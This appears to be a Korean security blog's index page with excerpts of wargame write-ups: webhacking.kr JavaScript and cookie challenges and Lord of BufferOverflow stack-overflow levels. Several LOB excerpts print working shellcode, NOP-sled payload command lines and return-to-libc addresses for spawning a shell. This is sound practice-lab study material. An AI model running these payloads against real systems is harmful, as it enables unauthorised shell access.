전체 글 172

[webhacking.kr] Challenge(old)_16[100]

이번문제는 해결해야 되는 부분 : 이벤트 키코드가 해당되는 숫자이면 해결이 된다고 한다. 예전에 풀었을때는 무슨말인줄 몰랐는데 마우스 대면 없어길래 엄청난 삽질을 했던 문제 였는데 너무 쉽게 풀었다. 그냥 생각없이 키보드를 입력하는 도중 어떤 문자를 입력하니 큰 별이 움직이기도 하고 작은별들이 생성되는것을 볼 수 있었다. 보통 fps게임을 할때처럼 wasd (소문자) 를 입력하면 노랑 큰 별이 움직인다. 그리고 124에 해당하는 아스키값을 입력하면 해결된다. 해결 책은 ' | '

[webhacking.kr] Challenge(old)_14[100]

이번문제는 해결해야 되는 부분 : pw 폼에 해당 내용을 입력하면 function ck() 함수에서 URL 을 변수에 넣고 indexOf 를 통해 값을 받아 *30 후 비교 먼저 document.URL 이 뭔고 하면 문서의 URL을 반환한다 .예시는 위와 같다. ( https://www.codingfactory.net/10993 ) indexOf는 위의 예제에서 아주 잘 알려준다 ( 생활코딩 ) 그렇다면 이 문서의 url인 https://webhacking.kr/challenge/js-1/ 에서 ".kr" 의 index 값은 18 이므로 18 * 30 = 540 ! 이것도 클리어했었고..

[webhacking.kr] Challenge(old)_06[100]

예전에 풀었다가 만 webhacking.kr 를 동아리 스터디 때문에 다시 불타올라 풀기로 시작하였다. 새로운 마음으로 한땀한땀 풀어보기로 하잣! 처음 문제를 열었을때의 모습과 view_source를 했을때의 모습이다. (길이서 2개로 짜름) 이번문제는 필터링 되는 부분 : base64 인코딩 된값 1~8 특수문자로 replace 해결해야 되는 부분 : $_COOKIE['user'] 를 조작하여 solve 에 해당하는 조건문을 충족 시키면 된다. 먼저 $_COOKIE['user']가 존재하지 않을 시 ($val_id = 'guest', $val_pw = '123qwe' ) 이 두개의 변수에 각각 값을 넣어 base64로 인코딩을 한다. 인코딩한값중 1~8 숫자를 replace 해준다. 그 결과로 Setc..

[LOB_14]bugbear

bugbear // new divide RTL2문제이다. execve 주소를 얻고 ret이 execve가 아니라면 종료해 버린다. 그렇다면 execve를 활용하는 RTL을 이용해야한다. execve 함수는 어떤인자를 받는지 알아 보았다. 첫번째 인자는 실행시킬 파일명 두번째 인자는 포인터 배열 세번째 인자는 환경 변수 먼저 execve 의 주소를 확인해 보았다. execve()주소 : 0x400a9d48 (little endian : \x48\x9d\x0a\x40) 이후 쉘을 따낼 system, exit, system("/bin/sh")주소를 확인했다. system() 주소 : 0x40058ae0 (little endian : \xe0\x8a\x05\x40) exit() 주소 : 0x400391e0 (l..

System/LOB 2019.09.24

[LOB_13]darkknight

darkknight // new attacker 이번 bugbear의 경우에는 RTL1 이라고 힌트를 주고 있다. gdb 디버깅하여 print system 명령어를 이용해 system()의 주소를 알아낸다. system() 주소 : 0x40058ae0 (little endian : \xe0\x8a\x05\x40) // rtl.c #include int main(){ long system=0x40058ae0; while(memcmp((void *)system, "/bin/sh", 8)) system++; printf("%x\n",system); return 0; } system() 함수 메모리 내의 "/bin/sh" 메모리를 검색해서 주소를 출력해 주었다. /bin/sh 주소 : 0x400fbff9 (li..

System/LOB 2019.09.24

[LOB_12]golem

golem // cup of coffee ※ strncpy? 원하는 길이만큼 복사받을 수 있는 함수이다. 사용법은 strncpy(복사받을 변수명, 복사할 변수명, 복사할 길이) 이번 문제는 strcpy가 아닌 strncpy를 이용하여 지정된 버퍼크기만큼만 입력을 받는것을 공격하는 문제이다. 하지만 41바이트를 받아 버퍼오버플로우가 날수 있다. 먼저 FPO(Frame Pointer Overflow)에 대해 학습한뒤 원리를 이해하고 문제를 해결하였다. (참고 : https://bob3rdnewbie.tistory.com/188) 이 원리는 서브 함수 스택 SFP를 overflow를 통해 shellcode의 시작주소 - 4를 통해 넣어주준다. 페이로드를 작성해주면 ret를 할때 sfp 주소가 main으로 가는..

System/LOB 2019.09.24

[LOB_11]skeleton

skeleton // shellcoder 추가된 것은 stack destroyer! 버퍼부터 스택세그먼트 끝까지 모두 초기화 시킨다. export HA=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 환경변수를 추가해 공격을 시도해 보았다. 주소 : 0xbf ff fe 8d (little endian : \x8d\xfe\xff\xbf) ./golem `python -c 'print "\x90"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x8d\xfe\xff\xbf"'` 하지만 모두 ..

System/LOB 2019.09.24

[LOB_10]vampire

vampire // music world argc saver가 추가 되었다. 인자 갯수를 saved_argc에 저장해 놓고 memset으로 초기화 시켜버린다. 파일이름명, 인자들 모두 막힌 상태이다. ./skeleton `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 혹시나 해서 간단하게 argv[1], argv[2] 를 넣어보았지만 memset으로 모두 초기화 되었다. argv[1], argv[2] 가 모두 초기화 되었기에 남은 방법인 argv[0] 심볼..

System/LOB 2019.09.24

[LOB_9]troll

troll // aspirin 코드를 보니 쉬워 보인다. 추가된것은 argv[1] 47번째 인자가 \xff 이라는 점. 대충 내가 그려본 메모리 구조와 예시의 세그먼트 구조는 다음과 같다. ( https://bob3rdnewbie.tistory.com/123 ) 지금 요구하는 것은 0xbf~로 시작하는 주소인데 0xbfffffff 는 스택 세그먼트 주소이다. 0xbfff 보다 작아야 한다. 그렇다면 다음과 같이 생각해 볼 수 있다. argv[1]를 크게 넣어도 되고 argv[1]과 적절한 값과 argv[2] 에 큰값들을 넣어주어도 된다. 페이로드 argv[1] : "A"*47 + "\xbf" argv[2] : "\x90"*10 + shellcode + "A"*0x10000 ./vampire `python..

System/LOB 2019.09.24